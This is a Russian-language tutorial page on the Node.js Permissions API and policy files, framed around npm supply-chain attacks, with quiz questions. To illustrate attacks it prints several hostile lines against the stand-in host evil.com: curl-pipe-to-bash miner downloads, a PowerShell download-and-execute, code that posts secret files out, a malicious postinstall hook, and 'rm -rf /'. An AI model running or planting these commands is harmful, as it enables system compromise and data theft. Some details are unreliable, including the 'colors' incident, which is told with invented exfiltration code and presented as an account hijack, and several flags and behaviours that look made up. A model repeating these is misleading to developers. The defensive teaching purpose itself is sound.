Node.js Internals

Permissions API: Безопасный Node.js 20+

В 2018 году npm-пакет `event-stream` (2 миллиона скачиваний/неделю) был захвачен злоумышленником, который добавил вредоносный код для кражи Bitcoin ключей из приложения Copay. Жертвы: тысячи пользователей, миллионы долларов. Проблема: Node.js выполняет код npm-пакетов с полными правами системы. Permissions API решает эту проблему, вдохновляясь Deno и браузерными Permissions.

  • **Supply chain атаки участились на 650% (2021-2023):** ua-parser-js, colors, node-ipc, coa - миллионы скачиваний, одна вредоносная версия. Permissions API блокирует exec(), сетевые запросы, чтение конфиденциальных файлов даже если npm-пакет скомпрометирован
  • **Serverless функции запускают непроверенный код:** AWS Lambda, Cloudflare Workers выполняют тысячи npm-пакетов. Один вредоносный пакет → доступ к ENV (AWS_SECRET_ACCESS_KEY), базам данных, внутренним API. Permissions API ограничивает функции минимальными правами
  • **CI/CD пайплайны - цель атак:** npm install в GitHub Actions выполняет postinstall scripts с правами CI. Вредоносный script → кража GitHub tokens, доступ к приватным репозиториям. Permissions API блокирует child_process в CI

Зачем нужны permissions

Сценарий: установка npm-пакета для парсинга JSON. Через неделю выясняется, что он читает `~/.aws/credentials` и отправляет AWS ключи на сервер злоумышленников. **Supply chain атаки** - это реальность: `event-stream` (2018), `ua-parser-js` (2021), `node-ipc` (2022). Миллионы скачиваний, одна вредоносная версия.

**Permissions API** (Node.js 20+, экспериментальный) - это механизм **явного разрешения** доступа к ресурсам. Процесс Node.js по умолчанию получает **минимум прав** и должен запрашивать разрешения через флаги командной строки. Это реализация **Principle of Least Privilege**: приложение получает только те права, которые ему действительно нужны.

**Вдохновение: Deno и браузеры.** Deno первым реализовал модель permissions для серверного JavaScript. Браузеры используют permissions для доступа к камере, микрофону, геолокации. Node.js Permissions API переносит эту модель в экосистему npm, защищая от вредоносных зависимостей.

Реальный кейс: Supply chain атака ua-parser-js

**ua-parser-js** - популярная библиотека для парсинга User-Agent (8 миллионов скачиваний/неделю). В октябре 2021 злоумышленники получили доступ к аккаунту мантейнера и опубликовали версии 0.7.29, 0.8.0, 1.0.0 с вредоносным кодом: ```javascript // Вредоносный код в postinstall скрипте: const { exec } = require('child_process'); const os = require('os'); if (os.platform() === 'linux') { exec('curl https://evil.com/cryptominer.sh | bash'); } else if (os.platform() === 'win32') { exec('powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"https://evil.com/miner.ps1\")"'); } ``` **Если бы использовался Permissions API:** ```bash # npm install с ограничениями node --experimental-permission \ --allow-fs-read=./node_modules \ --allow-fs-write=./node_modules \ # НЕТ --allow-child-process! npm install ua-parser-js # Вредоносный postinstall упал бы с ошибкой: # Error: Access to spawn() has been restricted # Packages cannot run arbitrary commands! ``` **Результат:** Библиотека была удалена через 4 часа, но успела заразить тысячи CI/CD пайплайнов.

**Флаг --experimental-permission обязателен:** Без него все restrictions игнорируются. Это экспериментальная фича Node.js 20+, API может меняться. В production используйте с осторожностью, но для защиты от supply chain атак - это must-have.

Node.js приложение запущено с флагом --allow-fs-read=/app/data. Что произойдёт если код попытается прочитать /etc/passwd?

Ограничение файловой системы

Файловая система - самый опасный вектор атак. npm-пакет может читать SSH ключи, AWS credentials, базы данных, исходный код. **--allow-fs-read** и **--allow-fs-write** позволяют ограничить доступ к конкретным директориям с поддержкой glob-паттернов.

**Wildcards:** `*` - любые символы внутри директории, `**` - любой уровень вложенности. Паттерны разрешаются в абсолютные пути через `path.resolve()`. Symlinks НЕ проходят проверку permissions (защита от bypass).

Практический пример: безопасный запуск user-generated code

Сценарий: сервис для запуска пользовательских Node.js скриптов (типа CodeSandbox). Пользователи загружают код, который может быть вредоносным: ```typescript // user-script.js (загружен пользователем) import fs from 'fs'; import { exec } from 'child_process'; // Попытка вредоносных действий: fs.readFileSync('/etc/passwd'); // Украсть системные файлы exec('rm -rf /'); // Удалить всё fetch('https://evil.com/steal', { // Утечка данных method: 'POST', body: fs.readFileSync('/var/secrets/db.password') }); ``` **Запуск с Permissions API:** ```bash #!/bin/bash # run-user-script.sh # Создаём изолированную директорию для пользователя mkdir -p /tmp/sandbox-$USER_ID/workspace mkdir -p /tmp/sandbox-$USER_ID/output # Копируем user-script.js в sandbox cp user-script.js /tmp/sandbox-$USER_ID/workspace/ # Запускаем с жёсткими ограничениями node --experimental-permission \ --allow-fs-read=/tmp/sandbox-$USER_ID/workspace \ --allow-fs-write=/tmp/sandbox-$USER_ID/output \ # НЕТ --allow-child-process! # НЕТ --allow-net! /tmp/sandbox-$USER_ID/workspace/user-script.js # Вредоносный код заблокирован: # ❌ fs.readFileSync('/etc/passwd') → Error # ❌ exec('rm -rf /') → Error # ❌ fetch('https://evil.com') → Error # Пользователь может работать только в своём sandbox: # ✅ fs.readFileSync('./data.json') → OK # ✅ fs.writeFileSync('../output/result.txt') → OK ``` **Результат:** Вредоносный код не может причинить вред системе. Пользователь изолирован в своём sandbox.

**Ловушки permissions:** 1. **require() обходит restrictions:** Если разрешить `--allow-fs-read=./node_modules`, то `require('fs')` даст полный доступ к FS API. Используйте VM или Worker Threads для полной изоляции. 2. **process.cwd() меняет контекст:** Если код вызывает `process.chdir('/tmp')`, то `./data` теперь указывает на `/tmp/data`. Permissions проверяет абсолютные пути! 3. **Symlinks могут быть созданы заранее:** Если symlink создан ДО запуска с permissions, он может указывать на запрещённые файлы. Проверяйте sandbox перед запуском.

Приложение запущено с --allow-fs-read=./data --allow-fs-write=./output. Код вызывает process.chdir('/tmp'), затем fs.readFileSync('./data/file.txt'). Что произойдёт?

Ограничение сетевых запросов

**Сеть - главный канал утечки данных.** Вредоносный npm-пакет может отправить AWS credentials, environment variables, исходный код на сервер злоумышленника. **--allow-net** ограничивает исходящие соединения к конкретным доменам и портам.

**Формат --allow-net:** `domain:port`, где port опционален. Поддерживаются IP-адреса и домены. Wildcards: `*.github.com` разрешает все поддомены. БЕЗ флага --allow-net → ВСЕ сетевые операции запрещены.

Реальный кейс: защита от DNS rebinding атак

**DNS rebinding** - атака, при которой вредоносный сайт меняет DNS-запись с публичного IP на локальный (127.0.0.1, 192.168.x.x), чтобы обойти CORS и достучаться до внутренних сервисов. **Сценарий без Permissions API:** ```typescript // Вредоносный npm-пакет import { fetch } from 'undici'; // 1. DNS запрос к evil.com → 1.2.3.4 (публичный IP) await fetch('https://evil.com/start-attack'); // 2. Злоумышленник меняет DNS: evil.com → 127.0.0.1 // 3. Теперь запросы к evil.com идут на localhost! const secrets = await fetch('https://evil.com/admin/secrets'); // Фактически: GET http://127.0.0.1/admin/secrets // Обход firewalls, доступ к внутренним API! ``` **С Permissions API:** ```bash node --experimental-permission \ --allow-net=api.stripe.com \ --allow-net=api.github.com \ # evil.com НЕ в whitelist! app.js ``` ```typescript // Попытка DNS rebinding: try { await fetch('https://evil.com/start-attack'); } catch (err) { console.error(err.message); // Error: Access to this API has been restricted // evil.com не в whitelist → блокировка ДО резолвинга DNS! } // Атака провалилась - Node.js даже не попытался сделать DNS-запрос ``` **Защита:** Permissions API проверяет домен ДО DNS-резолвинга, блокируя атаки на уровне hostname.

**Best practices для --allow-net:** 1. **Минимальный whitelist:** Разрешайте только те домены, которые реально нужны. Если приложение работает только с GitHub API → только `--allow-net=api.github.com` 2. **Избегайте wildcards:** `--allow-net=*` отключает защиту. Используйте только для legacy кода, который невозможно переписать 3. **Указывайте порты:** `--allow-net=db.internal:5432` вместо `--allow-net=db.internal`. Это запретит случайные HTTP-запросы к БД 4. **Логируйте блокировки:** Оборачивайте fetch/https в try-catch, логируйте заблокированные запросы → находите вредоносные зависимости

Приложение запущено с --allow-net=api.github.com. Вредоносный npm-пакет пытается отправить данные на github.com (без api). Что произойдёт?

Запрет выполнения процессов

**Child processes - самая опасная атака.** Вредоносный пакет может запустить `curl https://evil.com/miner.sh | bash`, установить backdoor, майнер, ransomware. **--allow-child-process** (или его отсутствие) блокирует все `spawn()`, `exec()`, `fork()` вызовы.

**Почему child processes так опасны:** Через `exec('sh -c "$(curl evil.com/script.sh)"')` злоумышленник получает полный shell-доступ с правами процесса Node.js. Это обходит все файловые и сетевые ограничения - shell может всё.

Реальный кейс: вредоносный postinstall скрипт

**Популярная атака:** добавить вредоносный код в `package.json` → `postinstall` script: ```json // package.json вредоносного npm-пакета { "name": "malicious-package", "version": "1.0.0", "scripts": { "postinstall": "node -e \"require('child_process').exec('curl https://evil.com/payload.sh | bash')\"" } } ``` **Что происходит при `npm install malicious-package`:** 1. npm скачивает пакет 2. npm запускает `postinstall` script 3. Node.js выполняет `exec('curl ... | bash')` 4. Shell скачивает и запускает вредоносный скрипт 5. Сервер скомпрометирован (backdoor, cryptominer, data exfiltration) **Защита через Permissions API:** ```bash # Запуск npm install с ограничениями node --experimental-permission \ --allow-fs-read=./node_modules \ --allow-fs-write=./node_modules \ --allow-net=registry.npmjs.org \ # НЕТ --allow-child-process! $(which npm) install malicious-package # Результат: # postinstall script упадёт: # Error: Access to this API has been restricted # Packages cannot execute shell commands! ``` **Проблема:** npm сам использует child processes для запуска scripts. Нужен wrapper: ```bash # npm-wrapper.sh - безопасный запуск npm #!/bin/bash # Запускаем npm БЕЗ postinstall scripts node --experimental-permission \ --allow-fs-read=./node_modules \ --allow-fs-write=./node_modules \ --allow-net=registry.npmjs.org \ --allow-child-process \ $(which npm) install --ignore-scripts "$@" # Затем вручную запускаем scripts для ПРОВЕРЕННЫХ пакетов node --experimental-permission \ --allow-child-process \ npm run postinstall --if-present --workspace=trusted-package ```

**КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ:** **--allow-child-process = полная капитуляция Permissions API!** Если разрешить child processes, вредоносный код может: 1. Запустить `sh -c "curl evil.com/script.sh | bash"` → скачать и выполнить любой код 2. Обойти --allow-fs-read через `cat /etc/passwd` 3. Обойти --allow-net через `curl https://evil.com` 4. Установить systemd service для persistence: `systemctl enable backdoor.service` **Правило:** --allow-child-process применяется ТОЛЬКО если: - Код полностью под контролем (нет сторонних зависимостей) - Приложению критически нужны внешние утилиты (git, ffmpeg, imagemagick) - Готовность к тому, что один скомпрометированный пакет = полный root доступ

**Альтернативы child processes:** 1. **Worker Threads** вместо `fork()` - параллельное выполнение JS без shell 2. **Native addons** вместо exec('ffmpeg') - C++ биндинги быстрее и безопаснее 3. **WebAssembly** для CPU-интенсивных задач - полная изоляция 4. **Отдельный микросервис** для опасных операций - Docker контейнер с минимальными правами

Policy files и integrity checks

**Policy files** - JSON-конфиг, который определяет: какие модули можно импортировать, их integrity хеши (SRI), redirects (для патчинга уязвимостей). Это дополнительный уровень защиты поверх Permissions API, вдохновлённый Content Security Policy (CSP) в браузерах.

**Почему нужны policy files:** 1. **Integrity checks:** Проверка, что модуль не был изменён после установки (защита от npm account hijacking) 2. **Module allowlists:** Разрешить импорт только проверенных модулей (запретить динамические require()) 3. **Redirects:** Переопределить импорт уязвимого модуля на патченную версию без изменения кода

Реальный кейс: защита от компрометации npm аккаунта

**Атака:** Злоумышленники получили доступ к npm аккаунту разработчика популярного пакета `colors` (23M downloads/week) и опубликовали вредоносную версию 1.4.1: ```javascript // colors/index.js (версия 1.4.1 - вредоносная) module.exports = require('./safe'); // Добавлен бесконечный цикл: setInterval(() => { console.log('LIBERTY LIBERTY LIBERTY'); // Троллинг }, 1000); // И кража данных: const https = require('https'); https.get('https://evil.com/report?cwd=' + process.cwd()); ``` **БЕЗ policy file:** ```bash npm install colors@1.4.1 node app.js # Приложение зависло (бесконечный цикл) # Данные утекли на evil.com ``` **С policy file:** ```bash # 1. Генерируем policy.json для безопасной версии 1.4.0 node --experimental-policy-integrity app.js > policy.json # policy.json: # { # "resources": { # "file:///app/node_modules/colors/index.js": { # "integrity": "sha384-safe-version-hash-1.4.0" # } # } # } # 2. Злоумышленники публикуют 1.4.1 npm update colors # Обновилось до 1.4.1 # 3. Запуск с policy проверкой node --experimental-permission \ --experimental-policy=policy.json \ --policy-integrity=require \ app.js # Вывод: # Error: Policy integrity check failed # Module: file:///app/node_modules/colors/index.js # Expected: sha384-safe-version-hash-1.4.0 # Got: sha384-malicious-version-hash-1.4.1 # # ПРИЛОЖЕНИЕ НЕ ЗАПУСТИЛОСЬ! # Вредоносный код не выполнился. ``` **Результат:** Policy file обнаружил изменение модуля и заблокировал запуск.

**Ограничения Policy files:** 1. **Experimental API:** Может меняться между версиями Node.js. Не используйте в production без тестирования 2. **Производительность:** Проверка integrity для каждого `require()` замедляет запуск приложения (~10-20% overhead) 3. **Динамические imports:** `require(dynamicPath)` сложно контролировать через policy. Используйте static analysis 4. **ESM поддержка:** Policy files работают с CommonJS (`require()`). Для ESM (`import`) поддержка ограничена

**Best practices для Policy files:** 1. **Генерируйте автоматически:** `--experimental-policy-integrity` создаст policy.json со всеми хешами 2. **Version control:** Храните policy.json в git, проверяйте изменения при code review 3. **CI/CD integration:** Прогоняйте `--policy-integrity=require` в CI - провал теста если модуль изменён 4. **Не смешивайте с Permissions API:** Policy files проверяют integrity, Permissions API ограничивают возможности. Используйте оба! 5. **Deno-style workflow:** - Запустите без policy → соберите все imports - Сгенерируйте policy.json с хешами - Закоммитьте policy.json - В production: `--policy-integrity=require` → гарантия неизменности кода

Итоги

  • **Permissions API = Principle of Least Privilege:** Процесс Node.js получает минимальные права по умолчанию, явно запрашивает разрешения через флаги. Защита от вредоносных npm-пакетов, supply chain атак, компрометации аккаунтов
  • **--allow-fs-read/write:** Ограничение файловой системы по путям с glob-паттернами. Блокирует чтение SSH ключей, AWS credentials, /etc/passwd. Symlinks НЕ обходят проверку. Path traversal (..) блокируется через path.resolve()
  • **--allow-net:** Whitelist доменов и портов для исходящих соединений. Блокирует утечку данных на сервер злоумышленника, DNS rebinding атаки, доступ к внутренним API. Wildcards (*.github.com) для поддоменов
  • **--allow-child-process = полная капитуляция:** Разрешение spawn/exec/fork обходит все ограничения через shell. Используйте только если критически необходимо. Альтернатива: Worker Threads, WebAssembly, микросервисы
  • **Policy files (integrity checks):** JSON-конфиг с sha384 хешами модулей, allowlists, redirects. Проверка при каждом require() → обнаружение изменений после установки. Защита от компрометации npm аккаунтов
  • **Experimental API:** Node.js 20+ с флагом --experimental-permission. API может меняться. В production: тестируйте обновления Node.js, мониторьте security advisories

Связанные темы

Permissions API - часть экосистемы безопасности Node.js. Для полной защиты изучите:

  • Worker Threads — Альтернатива child_process для параллельного выполнения JS. Worker Threads наследуют permissions родительского процесса, не требуют --allow-child-process, изолированы через отдельный V8 context
  • VM и isolated-vm — Полная изоляция JavaScript кода через отдельный V8 Isolate. Permissions API ограничивает Node.js API, VM изолирует сам движок. Для максимальной безопасности: Permissions + isolated-vm
  • Security best practices — Permissions API - один из уровней защиты. Дополнительно: dependency scanning (npm audit), lockfiles (package-lock.json), SRI для CDN, CSP для браузерного кода, least privilege в Docker

Вопросы для размышления

  • Почему --allow-child-process обходит все ограничения Permissions API? Какие альтернативы использовать для параллельного выполнения кода?
  • Приложение использует 50 npm-пакетов. Как применить Permissions API в production без поломки функциональности? С чего начать миграцию?
  • В чём разница между Permissions API (Node.js) и permissions (Deno)? Почему Deno более строгий по умолчанию?

Связанные уроки

  • sec-01
Permissions API: Безопасный Node.js 20+

0

1

Войти

Приложение запущено БЕЗ --allow-child-process. npm-пакет пытается запустить exec('git status'). Что произойдёт?

Permissions API и Policy files заменяют sandbox (VM, Docker контейнеры)

Permissions API - это уровень защиты ОТ вредоносного кода ВНУТРИ Node.js процесса. Полная изоляция требует дополнительных механизмов: VM2, isolated-vm, Docker, или отдельных процессов

Permissions API ограничивает доступ к API Node.js (fs, net, child_process), но НЕ изолирует V8 engine. Вредоносный код всё ещё может: 1. Использовать CPU на 100% (DoS) 2. Вызвать out of memory через бесконечные массивы 3. Эксплуатировать уязвимости V8 (JIT-спреи, ROP) 4. Читать данные из других модулей через closures Полная изоляция = Permissions API + VM contexts (isolated-vm) + Resource limits (cgroups, ulimit) + Seccomp (syscall filtering). Для максимальной безопасности: отдельный Docker контейнер с минимальными capabilities.

В policy.json лежат integrity хеши для всех модулей. Злоумышленник изменил файл node_modules/express/index.js напрямую на диске. Что произойдёт при запуске с --experimental-policy=policy.json?